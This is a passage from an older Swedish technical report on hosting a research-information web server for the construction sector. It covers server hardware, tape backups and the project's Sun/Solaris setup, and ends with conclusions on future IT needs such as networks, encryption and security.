Ofta �r det sv�rt att f�rutse lasten p� en WWW server eftersom man i princip
pl�tsligt kan f� hela internet samh�llet som bes�kare till sin server om den skulle
visa sig inneh�lla n�got av v�rldsintresse. I de flesta fall �r det inte ekonomiskt
f�rsvarbart eller kanske inte ens m�jligt att k�pa serverresurser som �r
designade att klara ett s�dant v�rsta fall.

En enkel Intel Pentium bestyckad dator r�cker i de flesta fall. Den kan serva
tusentals WWW sidor om dagen utan att ge obehagligt l�nga svarstider. De
prestanda som f�s beror naturligtvis till stor del p� vilket operativsystem som
anv�nds.
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Det �r dock viktigt att man inte bara satsar p� en snabb CPU  (t ex 133 MHz
Pentium) man m�ste �ven t�nka p� att v�lja kringutrustning s� att man f�r ett
balanserat system. Detta inneb�r idag p� PC-sidan att man anv�nder SCSI
(Small Computer System Interface) i st�llet f�r IDE (Integrated Drive
Electronics) som diskkontroller, �tminstone om man anv�nder Windows NT
eller UNIX som operativsystem. Om man anv�nder �ldre Windows versioner
v�ljer man det som �r billigast d� operativsystemet �nd� ej kan utnyttja SCSI
systemets st�rre snabbhet. Det b�r dock till�ggas att SCSI systemet �r l�ttare att
bygga ut med flera h�rdiskar. Man kan ha upp till sex sju enheter anslutna till
samma SCSI kort.

Vad det g�ller prim�rminne b�r systemet utnyttja s� snabba minnen som m�jligt.
Man b�r dessutom se till att man har tillr�ckligt med minne f�r att inte beh�va
anv�nda virtuellt minne annat �n vid absoluta toppbelastningar. F�r Windows
NT rekommenderas minst 64 Mbyte f�r att kunna hantera funktionaliteten som
beskrivs i denna rapport. UNIX klarar sig med n�got mindre m�ngd minne. F�r
Windows 95 med t.ex. Microsoft Access som databas b�r det r�cka med ca 40
Mbyte.

�ven det mest tillf�rlitliga system kan r�ka ut f�r haverier t ex p� grund av
slitage av r�rliga delar i skivminnen, fl�ktar eller p� grund av str�mavbrott som i
sin tur kan leda till korrupta filsystem. F�r att minimera skadan av s�dana
driftsavbrott b�r man med j�mna mellanrum ta s�kerhetskopior av information
och programvara samt dess konfiguration som finns lagrat p� systemet. Detta
g�rs l�mpligen  genom att man sparar systeminneh�llet p� en bandstation.

Dessa s�kerhetskopior kan vara inkrementella (man kopierar bara det som
�ndrats sedan f�rra  s�kerhetskopian) eller totala (man kopierar allt). Om man
har allt f�r m�nga inkrement blir det oftast arbetsammare och mera tidskr�vande
att �terst�lla ett skadat system. Det �r d�rf�r viktigt att anpassa bandstorleken s�
att man inte f�r allt f�r m�nga band att h�lla reda p� n�r man tar en total
s�kerhetskopia. L�mpligen v�ljer man en bandstation som anv�nder DAT-band
(Digital Audio Tape). En s�dan bandstation kan vanligen lagra mellan 2 och 5
Gbyte data beroende p� om komprimering anv�nds eller ej. N�r man k�per in
band b�r man v�lja band som �r avsedda f�r s�kerhetskopiering av data och inte
falla f�r frestelsen att v�lja de billigare band som �r avsedda f�r inspelning av
ljud. Dessa band �r vanligen �r av l�gre kvalitet och kan d�rigenom f�rorsaka
f�rlust av data.

F�r v�ra experiment med SWEBU systemet anv�nde vi en Sun 4 med 64 Mbyte
prim�rminne, tre SCCI-2 Wide h�rdiskar om vardera 1 Gbyte. Denna maskin �r
bestyckad med en 110 MHz micro spark processor som vad det g�ller prestanda
�r i klass med en 200 MHz Pentium PRO processor fr�n Intel. V�rt val av
h�rdvara styrdes helt av operativsystemvalet. Det visade sig dessutom att
motsvarande PC system hade blivit avsev�rt dyrare. I och med valet av
Sun/Solaris fick vi �ven en leverant�r av s�v�l h�rdvara som operativsystem.

13 . Slutsatser

Rapporten beskriver hur vi i framtiden p� Internet effektivt kan kommunicera
forskningsinformation. Det v�xande informationsfl�det i de globala n�tverken
g�r det allt mera n�dv�ndigt att skapa kunskapsnoder d�r sakkunniga v�ljer ut
och kvalitetsm�rker informationen samt f�rpackar den p� s�dant s�tt att den blir
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l�tt att tillgodog�ra sig f�r de t�nkta m�lgrupperna. I byggsammanhang b�r man
�ver internet ha tillg�ng till forskningsresultat, byggnormer, produkt-
information, erfarenhetsdata fr�n f�rvaltning etc., givetvis inneh�llande
hyperl�nkade referenser till andra k�llor.

Nya m�jligheter �ppnas f�r anv�ndare att via anpassade multimediala gr�nssnitt
kommunicera mot underliggande information. Allt mer av forskningsresultaten
dokumenteras i digital form och blir d�rmed mera tillg�ngliga. Samtidigt
f�r�ndras f�rpackning och tillh�rande lagringsstrukturer som en f�ljd av
introduktionen av avancerade IT-verktyg, som bland annat anv�ndes f�r att
hantera olika slags kunskapsrepresentationer i Internet-milj� (objekt-,
relationsdatabaser, bilder, etc.).

F�r att skapa f�rtroende f�r det nya mediet �r det viktigt att man beaktar de
s�kerhets-, s�rbarhets och integritetsaspekter som finns. Detta �r s�rskilt viktigt
eftersom dagens IT tj�nster bara �r i b�rjan p� en trolig framtida utveckling och
uppskalning d�r informationss�kning, handel med information, varor och
tj�nster kommer att ta en allt st�rre del av det dagliga livet.

Flera av de IT-verktyg som anv�nts i projektet kommer att f�rb�ttras inom de
n�rmsta �ren och d�rmed ytterligare att �ka systemets effektivitet och
anv�ndarv�nlighet.. De modeller som tagits fram kommer i stor utstr�ckning att
kunna anv�ndas i senare skeden av systemutvecklingen.

Vi kommer �ven att se agentbaserade system som utf�r handlingar och
interaktioner (som t.ex. byte av eller f�rs�ljning/k�p av information) med andra
agenter eller m�nniskor s�v�l inom begr�nsade intranet som p� Internet.
Eftersom s�v�l den tekniska som den samh�lleliga f�r�ndringsprocessen
kommer att p�skyndas, och att v�rlden tack vare IT kan krympas, m�ste vi
skapa verktyg som g�r det l�tt f�r oss att ta fram nya l�sningar som passar den
f�r�ndrade situationen.

Exempel p� kritiska tekniksegment som fordras f�r att kunna f�lja med i
utvecklingen �r:
- tillg�ng till snabba n�tverk som t ex kan anv�ndas f�r �verf�ring av video,

ljud och d�rigenom ge m�jlighet f�r rikare distansarbete och datorst�tt
samarbete eller f�r att snabbt f� fram beslutsunderlag fr�n kvalitetsm�rkta
databaser v�rlden �ver i ett gigantiskt beslutst�dssystem.

- bra krypterings- och autentiseringssystem f�r att kunna bedriva handel och
bevara personlig integritet

- att �n mera fokusera p� data- och n�ts�kerhet s� att m�nniskor k�nner sig
trygga med den nya tekniken och verkligen v�gar utnyttja den till fullo.

- platformsoberoende teknik (t ex Java baserade l�sningar) f�r att f� ned
utvecklingskostnaderna och f� effektiv spridning bland anv�ndarna. Effektiv
spridning �r viktig eftersom m�nga av de nya hj�lpmedlen bygger p� att man
ska kommunicera med andra m�nniskor eller maskiner. Som j�mf�relse kan
n�mnas telefonen som inte blev riktigt anv�ndbar f�rr�n den var allm�nt
spridd.

- utveckling av de multimediala gr�nssnitten mot enskilda anv�ndare och
anv�ndare i grupp. Allt ifr�n traditionell multimedia till samarbete och
visualisering i virtuella v�rldar.

- avancerade IT-verktyg f�r att modellera och bygga morgondagens
informationssystem
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Best�llarkompetensen inom byggomr�det m�ste generellt h�jas fram�ver f�r att
�ka sannolikheten f�r kloka och l�ngsiktiga IT investeringar kommer att ske.
Denna rapport utg�r en inledning p� ett s�dant arbete med b�de en praktisk,
exemplet forskningsnod, och en mera teoretisk teknisk del. Vi har �ven f�rs�kt
att f�rmedla information f�r att �ka f�rst�elsen f�r det hopv�vda samband som
r�der mellan v�ra till�mpningar och IT. Faktum �r att vi nu tillsammans till stora
delar designar helt nya l�sningar f�r hur information med hj�lp av avancerad IT
effektiv skall kunna hanteras i framtiden.
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